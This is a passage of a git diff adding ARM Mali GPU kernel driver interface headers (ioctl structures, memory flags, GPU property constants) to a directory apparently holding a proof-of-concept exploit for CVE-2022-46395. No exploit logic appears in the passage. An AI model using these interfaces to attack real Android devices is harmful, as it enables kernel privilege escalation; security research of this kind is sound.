+#define KBASE_IOCTL_MEM_JIT_INIT_10_2 \ + _IOW(KBASE_IOCTL_TYPE, 14, struct kbase_ioctl_mem_jit_init_10_2) + +/** + * struct kbase_ioctl_mem_jit_init_11_5 - Initialize the just-in-time memory + * allocator (between kernel driver + * version 11.5--11.19) + * @va_pages: Number of VA pages to reserve for JIT + * @max_allocations: Maximum number of concurrent allocations + * @trim_level: Level of JIT allocation trimming to perform on free (0 - 100%) + * @group_id: Group ID to be used for physical allocations + * @padding: Currently unused, must be zero + * + * Note that depending on the VA size of the application and GPU, the value + * specified in @va_pages may be ignored. + * + * New code should use KBASE_IOCTL_MEM_JIT_INIT instead, this is kept for + * backwards compatibility. + */ +struct kbase_ioctl_mem_jit_init_11_5 { + __u64 va_pages; + __u8 max_allocations; + __u8 trim_level; + __u8 group_id; + __u8 padding[5]; +}; + +#define KBASE_IOCTL_MEM_JIT_INIT_11_5 \ + _IOW(KBASE_IOCTL_TYPE, 14, struct kbase_ioctl_mem_jit_init_11_5) + +/** + * struct kbase_ioctl_mem_jit_init - Initialize the just-in-time memory + * allocator + * @va_pages: Number of GPU virtual address pages to reserve for just-in-time + * memory allocations + * @max_allocations: Maximum number of concurrent allocations + * @trim_level: Level of JIT allocation trimming to perform on free (0 - 100%) + * @group_id: Group ID to be used for physical allocations + * @padding: Currently unused, must be zero + * @phys_pages: Maximum number of physical pages to allocate just-in-time + * + * Note that depending on the VA size of the application and GPU, the value + * specified in @va_pages may be ignored. + */ +struct kbase_ioctl_mem_jit_init { + __u64 va_pages; + __u8 max_allocations; + __u8 trim_level; + __u8 group_id; + __u8 padding[5]; + __u64 phys_pages; +}; + +#define KBASE_IOCTL_MEM_JIT_INIT \ + _IOW(KBASE_IOCTL_TYPE, 14, struct kbase_ioctl_mem_jit_init) + +/** + * struct kbase_ioctl_mem_sync - Perform cache maintenance on memory + * + * @handle: GPU memory handle (GPU VA) + * @user_addr: The address where it is mapped in user space + * @size: The number of bytes to synchronise + * @type: The direction to synchronise: 0 is sync to memory (clean), + * 1 is sync from memory (invalidate). Use the BASE_SYNCSET_OP_xxx constants. + * @padding: Padding to round up to a multiple of 8 bytes, must be zero + */ +struct kbase_ioctl_mem_sync { + __u64 handle; + __u64 user_addr; + __u64 size; + __u8 type; + __u8 padding[7]; +}; + +#define KBASE_IOCTL_MEM_SYNC \ + _IOW(KBASE_IOCTL_TYPE, 15, struct kbase_ioctl_mem_sync) + +/** + * union kbase_ioctl_mem_find_cpu_offset - Find the offset of a CPU pointer + * + * @in: Input parameters + * @in.gpu_addr: The GPU address of the memory region + * @in.cpu_addr: The CPU address to locate + * @in.size: A size in bytes to validate is contained within the region + * @out: Output parameters + * @out.offset: The offset from the start of the memory region to @cpu_addr + */ +union kbase_ioctl_mem_find_cpu_offset { + struct { + __u64 gpu_addr; + __u64 cpu_addr; + __u64 size; + } in; + struct { + __u64 offset; + } out; +}; + +#define KBASE_IOCTL_MEM_FIND_CPU_OFFSET \ + _IOWR(KBASE_IOCTL_TYPE, 16, union kbase_ioctl_mem_find_cpu_offset) + +/** + * struct kbase_ioctl_get_context_id - Get the kernel context ID + * + * @id: The kernel context ID + */ +struct kbase_ioctl_get_context_id { + __u32 id; +}; + +#define KBASE_IOCTL_GET_CONTEXT_ID \ + _IOR(KBASE_IOCTL_TYPE, 17, struct kbase_ioctl_get_context_id) + +/** + * struct kbase_ioctl_tlstream_acquire - Acquire a tlstream fd + * + * @flags: Flags + * + * The ioctl returns a file descriptor when successful + */ +struct kbase_ioctl_tlstream_acquire { + __u32 flags; +}; + +#define KBASE_IOCTL_TLSTREAM_ACQUIRE \ + _IOW(KBASE_IOCTL_TYPE, 18, struct kbase_ioctl_tlstream_acquire) + +#define KBASE_IOCTL_TLSTREAM_FLUSH \ + _IO(KBASE_IOCTL_TYPE, 19) + +/** + * struct kbase_ioctl_mem_commit - Change the amount of memory backing a region + * + * @gpu_addr: The memory region to modify + * @pages: The number of physical pages that should be present + * + * The ioctl may return on the following error codes or 0 for success: + * -ENOMEM: Out of memory + * -EINVAL: Invalid arguments + */ +struct kbase_ioctl_mem_commit { + __u64 gpu_addr; + __u64 pages; +}; + +#define KBASE_IOCTL_MEM_COMMIT \ + _IOW(KBASE_IOCTL_TYPE, 20, struct kbase_ioctl_mem_commit) + +/** + * union kbase_ioctl_mem_alias - Create an alias of memory regions + * @in: Input parameters + * @in.flags: Flags, see BASE_MEM_xxx + * @in.stride: Bytes between start of each memory region + * @in.nents: The number of regions to pack together into the alias + * @in.aliasing_info: Pointer to an array of struct base_mem_aliasing_info + * @out: Output parameters + * @out.flags: Flags, see BASE_MEM_xxx + * @out.gpu_va: Address of the new alias + * @out.va_pages: Size of the new alias + */ +union kbase_ioctl_mem_alias { + struct { + __u64 flags; + __u64 stride; + __u64 nents; + __u64 aliasing_info; + } in; + struct { + __u64 flags; + __u64 gpu_va; + __u64 va_pages; + } out; +}; + +#define KBASE_IOCTL_MEM_ALIAS \ + _IOWR(KBASE_IOCTL_TYPE, 21, union kbase_ioctl_mem_alias) + +enum base_mem_import_type { + BASE_MEM_IMPORT_TYPE_INVALID = 0, + /* + * Import type with value 1 is deprecated. + */ + BASE_MEM_IMPORT_TYPE_UMM = 2, + BASE_MEM_IMPORT_TYPE_USER_BUFFER = 3 +}; + +/** + * struct base_mem_import_user_buffer - Handle of an imported user buffer + * + * @ptr: address of imported user buffer + * @length: length of imported user buffer in bytes + * + * This structure is used to represent a handle of an imported user buffer. + */ + +struct base_mem_import_user_buffer { + __u64 ptr; + __u64 length; +}; + +/** + * union kbase_ioctl_mem_import - Import memory for use by the GPU + * @in: Input parameters + * @in.flags: Flags, see BASE_MEM_xxx + * @in.phandle: Handle to the external memory + * @in.type: Type of external memory, see base_mem_import_type + * @in.padding: Amount of extra VA pages to append to the imported buffer + * @out: Output parameters + * @out.flags: Flags, see BASE_MEM_xxx + * @out.gpu_va: Address of the new alias + * @out.va_pages: Size of the new alias + */ +union kbase_ioctl_mem_import { + struct { + __u64 flags; + __u64 phandle; + __u32 type; + __u32 padding; + } in; + struct { + __u64 flags; + __u64 gpu_va; + __u64 va_pages; + } out; +}; + +#define KBASE_IOCTL_MEM_IMPORT \ + _IOWR(KBASE_IOCTL_TYPE, 22, union kbase_ioctl_mem_import) + +/** + * struct kbase_ioctl_mem_flags_change - Change the flags for a memory region + * @gpu_va: The GPU region to modify + * @flags: The new flags to set + * @mask: Mask of the flags to modify + */ +struct kbase_ioctl_mem_flags_change { + __u64 gpu_va; + __u64 flags; + __u64 mask; +}; + +#define KBASE_IOCTL_MEM_FLAGS_CHANGE \ + _IOW(KBASE_IOCTL_TYPE, 23, struct kbase_ioctl_mem_flags_change) + +/** + * struct kbase_ioctl_stream_create - Create a synchronisation stream + * @name: A name to identify this stream. Must be NULL-terminated. + * + * Note that this is also called a "timeline", but is named stream to avoid + * confusion with other uses of the word. + * + * Unused bytes in @name (after the first NULL byte) must be also be NULL bytes. + * + * The ioctl returns a file descriptor. + */ +struct kbase_ioctl_stream_create { + char name[32]; +}; + +#define KBASE_IOCTL_STREAM_CREATE \ + _IOW(KBASE_IOCTL_TYPE, 24, struct kbase_ioctl_stream_create) + +/** + * struct kbase_ioctl_fence_validate - Validate a fd refers to a fence + * @fd: The file descriptor to validate + */ +struct kbase_ioctl_fence_validate { + int fd; +}; + +#define KBASE_IOCTL_FENCE_VALIDATE \ + _IOW(KBASE_IOCTL_TYPE, 25, struct kbase_ioctl_fence_validate) + +/** + * struct kbase_ioctl_mem_profile_add - Provide profiling information to kernel + * @buffer: Pointer to the information + * @len: Length + * @padding: Padding + * + * The data provided is accessible through a debugfs file + */ +struct kbase_ioctl_mem_profile_add { + __u64 buffer; + __u32 len; + __u32 padding; +}; + +#define KBASE_IOCTL_MEM_PROFILE_ADD \ + _IOW(KBASE_IOCTL_TYPE, 27, struct kbase_ioctl_mem_profile_add) + +/** + * struct kbase_ioctl_sticky_resource_map - Permanently map an external resource + * @count: Number of resources + * @address: Array of __u64 GPU addresses of the external resources to map + */ +struct kbase_ioctl_sticky_resource_map { + __u64 count; + __u64 address; +}; + +#define KBASE_IOCTL_STICKY_RESOURCE_MAP \ + _IOW(KBASE_IOCTL_TYPE, 29, struct kbase_ioctl_sticky_resource_map) + +/** + * struct kbase_ioctl_sticky_resource_map - Unmap a resource mapped which was + * previously permanently mapped + * @count: Number of resources + * @address: Array of __u64 GPU addresses of the external resources to unmap + */ +struct kbase_ioctl_sticky_resource_unmap { + __u64 count; + __u64 address; +}; + +#define KBASE_IOCTL_STICKY_RESOURCE_UNMAP \ + _IOW(KBASE_IOCTL_TYPE, 30, struct kbase_ioctl_sticky_resource_unmap) + +/** + * union kbase_ioctl_mem_find_gpu_start_and_offset - Find the start address of + * the GPU memory region for + * the given gpu address and + * the offset of that address + * into the region + * @in: Input parameters + * @in.gpu_addr: GPU virtual address + * @in.size: Size in bytes within the region + * @out: Output parameters + * @out.start: Address of the beginning of the memory region enclosing @gpu_addr + * for the length of @offset bytes + * @out.offset: The offset from the start of the memory region to @gpu_addr + */ +union kbase_ioctl_mem_find_gpu_start_and_offset { + struct { + __u64 gpu_addr; + __u64 size; + } in; + struct { + __u64 start; + __u64 offset; + } out; +}; + +#define KBASE_IOCTL_MEM_FIND_GPU_START_AND_OFFSET \ + _IOWR(KBASE_IOCTL_TYPE, 31, union kbase_ioctl_mem_find_gpu_start_and_offset) + +#define KBASE_IOCTL_CINSTR_GWT_START \ + _IO(KBASE_IOCTL_TYPE, 33) + +#define KBASE_IOCTL_CINSTR_GWT_STOP \ + _IO(KBASE_IOCTL_TYPE, 34) + +/** + * union kbase_ioctl_gwt_dump - Used to collect all GPU write fault addresses. + * @in: Input parameters + * @in.addr_buffer: Address of buffer to hold addresses of gpu modified areas. + * @in.size_buffer: Address of buffer to hold size of modified areas (in pages) + * @in.len: Number of addresses the buffers can hold. + * @in.padding: padding + * @out: Output parameters + * @out.no_of_addr_collected: Number of addresses collected into addr_buffer. + * @out.more_data_available: Status indicating if more addresses are available. + * @out.padding: padding + * + * This structure is used when performing a call to dump GPU write fault + * addresses. + */ +union kbase_ioctl_cinstr_gwt_dump { + struct { + __u64 addr_buffer; + __u64 size_buffer; + __u32 len; + __u32 padding; + + } in; + struct { + __u32 no_of_addr_collected; + __u8 more_data_available; + __u8 padding[27]; + } out; +}; + +#define KBASE_IOCTL_CINSTR_GWT_DUMP \ + _IOWR(KBASE_IOCTL_TYPE, 35, union kbase_ioctl_cinstr_gwt_dump) + +/** + * struct kbase_ioctl_mem_exec_init - Initialise the EXEC_VA memory zone + * + * @va_pages: Number of VA pages to reserve for EXEC_VA + */ +struct kbase_ioctl_mem_exec_init { + __u64 va_pages; +}; + +#define KBASE_IOCTL_MEM_EXEC_INIT \ + _IOW(KBASE_IOCTL_TYPE, 38, struct kbase_ioctl_mem_exec_init) + +/** + * union kbase_ioctl_get_cpu_gpu_timeinfo - Request zero or more types of + * cpu/gpu time (counter values) + * @in: Input parameters + * @in.request_flags: Bit-flags indicating the requested types. + * @in.paddings: Unused, size alignment matching the out. + * @out: Output parameters + * @out.sec: Integer field of the monotonic time, unit in seconds. + * @out.nsec: Fractional sec of the monotonic time, in nano-seconds. + * @out.padding: Unused, for __u64 alignment + * @out.timestamp: System wide timestamp (counter) value. + * @out.cycle_counter: GPU cycle counter value. + */ +union kbase_ioctl_get_cpu_gpu_timeinfo { + struct { + __u32 request_flags; + __u32 paddings[7]; + } in; + struct { + __u64 sec; + __u32 nsec; + __u32 padding; + __u64 timestamp; + __u64 cycle_counter; + } out; +}; + +#define KBASE_IOCTL_GET_CPU_GPU_TIMEINFO \ + _IOWR(KBASE_IOCTL_TYPE, 50, union kbase_ioctl_get_cpu_gpu_timeinfo) + +/** + * struct kbase_ioctl_context_priority_check - Check the max possible priority + * @priority: Input priority & output priority + */ + +struct kbase_ioctl_context_priority_check { + __u8 priority; +}; + +#define KBASE_IOCTL_CONTEXT_PRIORITY_CHECK \ + _IOWR(KBASE_IOCTL_TYPE, 54, struct kbase_ioctl_context_priority_check) + +/** + * struct kbase_ioctl_set_limited_core_count - Set the limited core count. + * + * @max_core_count: Maximum core count + */ +struct kbase_ioctl_set_limited_core_count { + __u8 max_core_count; +}; + +#define KBASE_IOCTL_SET_LIMITED_CORE_COUNT \ + _IOW(KBASE_IOCTL_TYPE, 55, struct kbase_ioctl_set_limited_core_count) + + +/*************** + * Pixel ioctls * + ***************/ + +/** + * struct kbase_ioctl_apc_request - GPU asynchronous power control (APC) request + * + * @dur_usec: Duration for GPU to stay awake. + */ +struct kbase_ioctl_apc_request { + __u32 dur_usec; +}; + +#define KBASE_IOCTL_APC_REQUEST \ + _IOW(KBASE_IOCTL_TYPE, 66, struct kbase_ioctl_apc_request) + +/*************** + * test ioctls * + ***************/ +#if MALI_UNIT_TEST +/* These ioctls are purely for test purposes and are not used in the production + * driver, they therefore may change without notice + */ + +#define KBASE_IOCTL_TEST_TYPE (KBASE_IOCTL_TYPE + 1) + + +/** + * struct kbase_ioctl_tlstream_stats - Read tlstream stats for test purposes + * @bytes_collected: number of bytes read by user + * @bytes_generated: number of bytes generated by tracepoints + */ +struct kbase_ioctl_tlstream_stats { + __u32 bytes_collected; + __u32 bytes_generated; +}; + +#define KBASE_IOCTL_TLSTREAM_STATS \ + _IOR(KBASE_IOCTL_TEST_TYPE, 2, struct kbase_ioctl_tlstream_stats) + +#endif /* MALI_UNIT_TEST */ + +/* Customer extension range */ +#define KBASE_IOCTL_EXTRA_TYPE (KBASE_IOCTL_TYPE + 2) + +/* If the integration needs extra ioctl add them there + * like this: + * + * struct my_ioctl_args { + * .... + * } + * + * #define KBASE_IOCTL_MY_IOCTL \ + * _IOWR(KBASE_IOCTL_EXTRA_TYPE, 0, struct my_ioctl_args) + */ + + +/********************************** + * Definitions for GPU properties * + **********************************/ +#define KBASE_GPUPROP_VALUE_SIZE_U8 (0x0) +#define KBASE_GPUPROP_VALUE_SIZE_U16 (0x1) +#define KBASE_GPUPROP_VALUE_SIZE_U32 (0x2) +#define KBASE_GPUPROP_VALUE_SIZE_U64 (0x3) + +#define KBASE_GPUPROP_PRODUCT_ID 1 +#define KBASE_GPUPROP_VERSION_STATUS 2 +#define KBASE_GPUPROP_MINOR_REVISION 3 +#define KBASE_GPUPROP_MAJOR_REVISION 4 +/* 5 previously used for GPU speed */ +#define KBASE_GPUPROP_GPU_FREQ_KHZ_MAX 6 +/* 7 previously used for minimum GPU speed */ +#define KBASE_GPUPROP_LOG2_PROGRAM_COUNTER_SIZE 8 +#define KBASE_GPUPROP_TEXTURE_FEATURES_0 9 +#define KBASE_GPUPROP_TEXTURE_FEATURES_1 10 +#define KBASE_GPUPROP_TEXTURE_FEATURES_2 11 +#define KBASE_GPUPROP_GPU_AVAILABLE_MEMORY_SIZE 12 + +#define KBASE_GPUPROP_L2_LOG2_LINE_SIZE 13 +#define KBASE_GPUPROP_L2_LOG2_CACHE_SIZE 14 +#define KBASE_GPUPROP_L2_NUM_L2_SLICES 15 + +#define KBASE_GPUPROP_TILER_BIN_SIZE_BYTES 16 +#define KBASE_GPUPROP_TILER_MAX_ACTIVE_LEVELS 17 + +#define KBASE_GPUPROP_MAX_THREADS 18 +#define KBASE_GPUPROP_MAX_WORKGROUP_SIZE 19 +#define KBASE_GPUPROP_MAX_BARRIER_SIZE 20 +#define KBASE_GPUPROP_MAX_REGISTERS 21 +#define KBASE_GPUPROP_MAX_TASK_QUEUE 22 +#define KBASE_GPUPROP_MAX_THREAD_GROUP_SPLIT 23 +#define KBASE_GPUPROP_IMPL_TECH 24 + +#define KBASE_GPUPROP_RAW_SHADER_PRESENT 25 +#define KBASE_GPUPROP_RAW_TILER_PRESENT 26 +#define KBASE_GPUPROP_RAW_L2_PRESENT 27 +#define KBASE_GPUPROP_RAW_STACK_PRESENT 28 +#define KBASE_GPUPROP_RAW_L2_FEATURES 29 +#define KBASE_GPUPROP_RAW_CORE_FEATURES 30 +#define KBASE_GPUPROP_RAW_MEM_FEATURES 31 +#define KBASE_GPUPROP_RAW_MMU_FEATURES 32 +#define KBASE_GPUPROP_RAW_AS_PRESENT 33 +#define KBASE_GPUPROP_RAW_JS_PRESENT 34 +#define KBASE_GPUPROP_RAW_JS_FEATURES_0 35 +#define KBASE_GPUPROP_RAW_JS_FEATURES_1 36 +#define KBASE_GPUPROP_RAW_JS_FEATURES_2 37 +#define KBASE_GPUPROP_RAW_JS_FEATURES_3 38 +#define KBASE_GPUPROP_RAW_JS_FEATURES_4 39 +#define KBASE_GPUPROP_RAW_JS_FEATURES_5 40 +#define KBASE_GPUPROP_RAW_JS_FEATURES_6 41 +#define KBASE_GPUPROP_RAW_JS_FEATURES_7 42 +#define KBASE_GPUPROP_RAW_JS_FEATURES_8 43 +#define KBASE_GPUPROP_RAW_JS_FEATURES_9 44 +#define KBASE_GPUPROP_RAW_JS_FEATURES_10 45 +#define KBASE_GPUPROP_RAW_JS_FEATURES_11 46 +#define KBASE_GPUPROP_RAW_JS_FEATURES_12 47 +#define KBASE_GPUPROP_RAW_JS_FEATURES_13 48 +#define KBASE_GPUPROP_RAW_JS_FEATURES_14 49 +#define KBASE_GPUPROP_RAW_JS_FEATURES_15 50 +#define KBASE_GPUPROP_RAW_TILER_FEATURES 51 +#define KBASE_GPUPROP_RAW_TEXTURE_FEATURES_0 52 +#define KBASE_GPUPROP_RAW_TEXTURE_FEATURES_1 53 +#define KBASE_GPUPROP_RAW_TEXTURE_FEATURES_2 54 +#define KBASE_GPUPROP_RAW_GPU_ID 55 +#define KBASE_GPUPROP_RAW_THREAD_MAX_THREADS 56 +#define KBASE_GPUPROP_RAW_THREAD_MAX_WORKGROUP_SIZE 57 +#define KBASE_GPUPROP_RAW_THREAD_MAX_BARRIER_SIZE 58 +#define KBASE_GPUPROP_RAW_THREAD_FEATURES 59 +#define KBASE_GPUPROP_RAW_COHERENCY_MODE 60 + +#define KBASE_GPUPROP_COHERENCY_NUM_GROUPS 61 +#define KBASE_GPUPROP_COHERENCY_NUM_CORE_GROUPS 62 +#define KBASE_GPUPROP_COHERENCY_COHERENCY 63 +#define KBASE_GPUPROP_COHERENCY_GROUP_0 64 +#define KBASE_GPUPROP_COHERENCY_GROUP_1 65 +#define KBASE_GPUPROP_COHERENCY_GROUP_2 66 +#define KBASE_GPUPROP_COHERENCY_GROUP_3 67 +#define KBASE_GPUPROP_COHERENCY_GROUP_4 68 +#define KBASE_GPUPROP_COHERENCY_GROUP_5 69 +#define KBASE_GPUPROP_COHERENCY_GROUP_6 70 +#define KBASE_GPUPROP_COHERENCY_GROUP_7 71 +#define KBASE_GPUPROP_COHERENCY_GROUP_8 72 +#define KBASE_GPUPROP_COHERENCY_GROUP_9 73 +#define KBASE_GPUPROP_COHERENCY_GROUP_10 74 +#define KBASE_GPUPROP_COHERENCY_GROUP_11 75 +#define KBASE_GPUPROP_COHERENCY_GROUP_12 76 +#define KBASE_GPUPROP_COHERENCY_GROUP_13 77 +#define KBASE_GPUPROP_COHERENCY_GROUP_14 78 +#define KBASE_GPUPROP_COHERENCY_GROUP_15 79 + +#define KBASE_GPUPROP_TEXTURE_FEATURES_3 80 +#define KBASE_GPUPROP_RAW_TEXTURE_FEATURES_3 81 + +#define KBASE_GPUPROP_NUM_EXEC_ENGINES 82 + +#define KBASE_GPUPROP_RAW_THREAD_TLS_ALLOC 83 +#define KBASE_GPUPROP_TLS_ALLOC 84 +#define KBASE_GPUPROP_RAW_GPU_FEATURES 85 + +#define BASE_MEM_MAP_TRACKING_HANDLE (3ull << 12) + +#endif /* _UAPI_KBASE_JM_IOCTL_H_ */ + diff --git a/SecurityExploits/Android/Mali/CVE_2022_46395/mali_base_jm_kernel.h b/SecurityExploits/Android/Mali/CVE_2022_46395/mali_base_jm_kernel.h new file mode 100644 index 0000000..5edc780 --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE_2022_46395/mali_base_jm_kernel.h @@ -0,0 +1,1220 @@ +/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ +/* + * + * (C) COPYRIGHT 2019-2021 ARM Limited. All rights reserved. + * + * This program is free software and is provided to you under the terms of the + * GNU General Public License version 2 as published by the Free Software + * Foundation, and any use by you of this program is subject to the terms + * of such GNU license. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, you can access it online at + * http://www.gnu.org/licenses/gpl-2.0.html. + * + */ + +#ifndef _UAPI_BASE_JM_KERNEL_H_ +#define _UAPI_BASE_JM_KERNEL_H_ + +#include + +typedef __u32 base_mem_alloc_flags; +/* Memory allocation, access/hint flags. + * + * See base_mem_alloc_flags. + */ + +/* IN */ +/* Read access CPU side + */ +#define BASE_MEM_PROT_CPU_RD ((base_mem_alloc_flags)1 << 0) + +/* Write access CPU side + */ +#define BASE_MEM_PROT_CPU_WR ((base_mem_alloc_flags)1 << 1) + +/* Read access GPU side + */ +#define BASE_MEM_PROT_GPU_RD ((base_mem_alloc_flags)1 << 2) + +/* Write access GPU side + */ +#define BASE_MEM_PROT_GPU_WR ((base_mem_alloc_flags)1 << 3) + +/* Execute allowed on the GPU side + */ +#define BASE_MEM_PROT_GPU_EX ((base_mem_alloc_flags)1 << 4) + +/* Will be permanently mapped in kernel space. + * Flag is only allowed on allocations originating from kbase. + */ +#define BASEP_MEM_PERMANENT_KERNEL_MAPPING ((base_mem_alloc_flags)1 << 5) + +/* The allocation will completely reside within the same 4GB chunk in the GPU + * virtual space. + * Since this flag is primarily required only for the TLS memory which will + * not be used to contain executable code and also not used for Tiler heap, + * it can't be used along with BASE_MEM_PROT_GPU_EX and TILER_ALIGN_TOP flags. + */ +#define BASE_MEM_GPU_VA_SAME_4GB_PAGE ((base_mem_alloc_flags)1 << 6) + +/* Userspace is not allowed to free this memory. + * Flag is only allowed on allocations originating from kbase. + */ +#define BASEP_MEM_NO_USER_FREE ((base_mem_alloc_flags)1 << 7) + +#define BASE_MEM_RESERVED_BIT_8 ((base_mem_alloc_flags)1 << 8) + +/* Grow backing store on GPU Page Fault + */ +#define BASE_MEM_GROW_ON_GPF ((base_mem_alloc_flags)1 << 9) + +/* Page coherence Outer shareable, if available + */ +#define BASE_MEM_COHERENT_SYSTEM ((base_mem_alloc_flags)1 << 10) + +/* Page coherence Inner shareable + */ +#define BASE_MEM_COHERENT_LOCAL ((base_mem_alloc_flags)1 << 11) + +/* IN/OUT */ +/* Should be cached on the CPU, returned if actually cached + */ +#define BASE_MEM_CACHED_CPU ((base_mem_alloc_flags)1 << 12) + +/* IN/OUT */ +/* Must have same VA on both the GPU and the CPU + */ +#define BASE_MEM_SAME_VA ((base_mem_alloc_flags)1 << 13) + +/* OUT */ +/* Must call mmap to acquire a GPU address for the allocation + */ +#define BASE_MEM_NEED_MMAP ((base_mem_alloc_flags)1 << 14) + +/* IN */ +/* Page coherence Outer shareable, required. + */ +#define BASE_MEM_COHERENT_SYSTEM_REQUIRED ((base_mem_alloc_flags)1 << 15) + +/* Protected memory + */ +#define BASE_MEM_PROTECTED ((base_mem_alloc_flags)1 << 16) + +/* Not needed physical memory + */ +#define BASE_MEM_DONT_NEED ((base_mem_alloc_flags)1 << 17) + +/* Must use shared CPU/GPU zone (SAME_VA zone) but doesn't require the + * addresses to be the same + */ +#define BASE_MEM_IMPORT_SHARED ((base_mem_alloc_flags)1 << 18) + +/** + * Bit 19 is reserved. + * + * Do not remove, use the next unreserved bit for new flags + */ +#define BASE_MEM_RESERVED_BIT_19 ((base_mem_alloc_flags)1 << 19) + +/** + * Memory starting from the end of the initial commit is aligned to 'extension' + * pages, where 'extension' must be a power of 2 and no more than + * BASE_MEM_TILER_ALIGN_TOP_EXTENSION_MAX_PAGES + */ +#define BASE_MEM_TILER_ALIGN_TOP ((base_mem_alloc_flags)1 << 20) + +/* Should be uncached on the GPU, will work only for GPUs using AARCH64 mmu + * mode. Some components within the GPU might only be able to access memory + * that is GPU cacheable. Refer to the specific GPU implementation for more + * details. The 3 shareability flags will be ignored for GPU uncached memory. + * If used while importing USER_BUFFER type memory, then the import will fail + * if the memory is not aligned to GPU and CPU cache line width. + */ +#define BASE_MEM_UNCACHED_GPU ((base_mem_alloc_flags)1 << 21) + +/* + * Bits [22:25] for group_id (0~15). + * + * base_mem_group_id_set() should be used to pack a memory group ID into a + * base_mem_alloc_flags value instead of accessing the bits directly. + * base_mem_group_id_get() should be used to extract the memory group ID from + * a base_mem_alloc_flags value. + */ +#define BASEP_MEM_GROUP_ID_SHIFT 22 +#define BASE_MEM_GROUP_ID_MASK \ + ((base_mem_alloc_flags)0xF << BASEP_MEM_GROUP_ID_SHIFT) + +/* Must do CPU cache maintenance when imported memory is mapped/unmapped + * on GPU. Currently applicable to dma-buf type only. + */ +#define BASE_MEM_IMPORT_SYNC_ON_MAP_UNMAP ((base_mem_alloc_flags)1 << 26) + +/* Use the GPU VA chosen by the kernel client */ +#define BASE_MEM_FLAG_MAP_FIXED ((base_mem_alloc_flags)1 << 27) + +/* OUT */ +/* Kernel side cache sync ops required */ +#define BASE_MEM_KERNEL_SYNC ((base_mem_alloc_flags)1 << 28) + +/* Force trimming of JIT allocations when creating a new allocation */ +#define BASEP_MEM_PERFORM_JIT_TRIM ((base_mem_alloc_flags)1 << 29) + +/* Number of bits used as flags for base memory management + * + * Must be kept in sync with the base_mem_alloc_flags flags + */ +#define BASE_MEM_FLAGS_NR_BITS 30 + +/* A mask of all the flags which are only valid for allocations within kbase, + * and may not be passed from user space. + */ +#define BASEP_MEM_FLAGS_KERNEL_ONLY \ + (BASEP_MEM_PERMANENT_KERNEL_MAPPING | BASEP_MEM_NO_USER_FREE | \ + BASE_MEM_FLAG_MAP_FIXED | BASEP_MEM_PERFORM_JIT_TRIM) + +/* A mask for all output bits, excluding IN/OUT bits. + */ +#define BASE_MEM_FLAGS_OUTPUT_MASK BASE_MEM_NEED_MMAP + +/* A mask for all input bits, including IN/OUT bits. + */ +#define BASE_MEM_FLAGS_INPUT_MASK \ + (((1 << BASE_MEM_FLAGS_NR_BITS) - 1) & ~BASE_MEM_FLAGS_OUTPUT_MASK) + +/* A mask of all currently reserved flags + */ +#define BASE_MEM_FLAGS_RESERVED \ + (BASE_MEM_RESERVED_BIT_8 | BASE_MEM_RESERVED_BIT_19) + +#define BASEP_MEM_INVALID_HANDLE (0ull << 12) +#define BASE_MEM_MMU_DUMP_HANDLE (1ull << 12) +#define BASE_MEM_TRACE_BUFFER_HANDLE (2ull << 12) +#define BASE_MEM_MAP_TRACKING_HANDLE (3ull << 12) +#define BASEP_MEM_WRITE_ALLOC_PAGES_HANDLE (4ull << 12) +/* reserved handles ..-47< for future special handles */ +#define BASE_MEM_COOKIE_BASE (64ul << 12) +#define BASE_MEM_FIRST_FREE_ADDRESS ((BITS_PER_LONG << 12) + \ + BASE_MEM_COOKIE_BASE) + +/* Similar to BASE_MEM_TILER_ALIGN_TOP, memory starting from the end of the + * initial commit is aligned to 'extension' pages, where 'extension' must be a power + * of 2 and no more than BASE_MEM_TILER_ALIGN_TOP_EXTENSION_MAX_PAGES + */ +#define BASE_JIT_ALLOC_MEM_TILER_ALIGN_TOP (1 << 0) + +/** + * If set, the heap info address points to a __u32 holding the used size in bytes; + * otherwise it points to a __u64 holding the lowest address of unused memory. + */ +#define BASE_JIT_ALLOC_HEAP_INFO_IS_SIZE (1 << 1) + +/** + * Valid set of just-in-time memory allocation flags + * + * Note: BASE_JIT_ALLOC_HEAP_INFO_IS_SIZE cannot be set if heap_info_gpu_addr + * in %base_jit_alloc_info is 0 (atom with BASE_JIT_ALLOC_HEAP_INFO_IS_SIZE set + * and heap_info_gpu_addr being 0 will be rejected). + */ +#define BASE_JIT_ALLOC_VALID_FLAGS \ + (BASE_JIT_ALLOC_MEM_TILER_ALIGN_TOP | BASE_JIT_ALLOC_HEAP_INFO_IS_SIZE) + +/** + * typedef base_context_create_flags - Flags to pass to ::base_context_init. + * + * Flags can be ORed together to enable multiple things. + * + * These share the same space as BASEP_CONTEXT_FLAG_*, and so must + * not collide with them. + */ +typedef __u32 base_context_create_flags; + +/* No flags set */ +#define BASE_CONTEXT_CREATE_FLAG_NONE ((base_context_create_flags)0) + +/* Base context is embedded in a cctx object (flag used for CINSTR + * software counter macros) + */ +#define BASE_CONTEXT_CCTX_EMBEDDED ((base_context_create_flags)1 << 0) + +/* Base context is a 'System Monitor' context for Hardware counters. + * + * One important side effect of this is that job submission is disabled. + */ +#define BASE_CONTEXT_SYSTEM_MONITOR_SUBMIT_DISABLED \ + ((base_context_create_flags)1 << 1) + +/* Bit-shift used to encode a memory group ID in base_context_create_flags + */ +#define BASEP_CONTEXT_MMU_GROUP_ID_SHIFT (3) + +/* Bitmask used to encode a memory group ID in base_context_create_flags + */ +#define BASEP_CONTEXT_MMU_GROUP_ID_MASK \ + ((base_context_create_flags)0xF << BASEP_CONTEXT_MMU_GROUP_ID_SHIFT) + +/* Bitpattern describing the base_context_create_flags that can be + * passed to the kernel + */ +#define BASEP_CONTEXT_CREATE_KERNEL_FLAGS \ + (BASE_CONTEXT_SYSTEM_MONITOR_SUBMIT_DISABLED | \ + BASEP_CONTEXT_MMU_GROUP_ID_MASK) + +/* Bitpattern describing the ::base_context_create_flags that can be + * passed to base_context_init() + */ +#define BASEP_CONTEXT_CREATE_ALLOWED_FLAGS \ + (BASE_CONTEXT_CCTX_EMBEDDED | BASEP_CONTEXT_CREATE_KERNEL_FLAGS) + +/* + * Private flags used on the base context + * + * These start at bit 31, and run down to zero. + * + * They share the same space as base_context_create_flags, and so must + * not collide 